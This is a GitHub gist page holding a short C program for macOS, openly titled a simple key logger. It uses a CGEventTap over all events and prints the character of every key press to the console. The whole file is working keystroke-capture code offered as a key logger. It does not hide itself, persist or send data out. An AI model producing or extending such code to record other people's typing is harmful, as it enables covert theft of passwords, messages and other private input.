-
-
Save asakasinsky/d31e177ee84fadb18b0d9ec4e3642a25 to your computer and use it in GitHub Desktop.
Simple key logger for OS X using CGEventTap
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Super simple key logger that uses a CGEventTap to log | |
// the unicode strings for each key down event | |
// Doesn't handle special keys (enter, backspace, etc.) | |
#include <stdio.h> | |
#import <Carbon/Carbon.h> | |
#import <ApplicationServices/ApplicationServices.h> | |
CGEventRef loggerCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void* context) | |
{ | |
if (type == kCGEventKeyDown) { | |
UniChar str[10]; | |
UniCharCount strLength; | |
CGEventKeyboardGetUnicodeString(event, 10, &strLength, str); | |
printf("%c", str[0]); | |
} | |
return event; | |
} | |
int main(int argc, const char * argv[]) | |
{ | |
CFMachPortRef tap = CGEventTapCreate(kCGHIDEventTap, | |
kCGHeadInsertEventTap, | |
0, kCGEventMaskForAllEvents, | |
loggerCallback, NULL); | |
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0); | |
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); | |
CGEventTapEnable(tap, true); | |
CFRunLoopRun(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment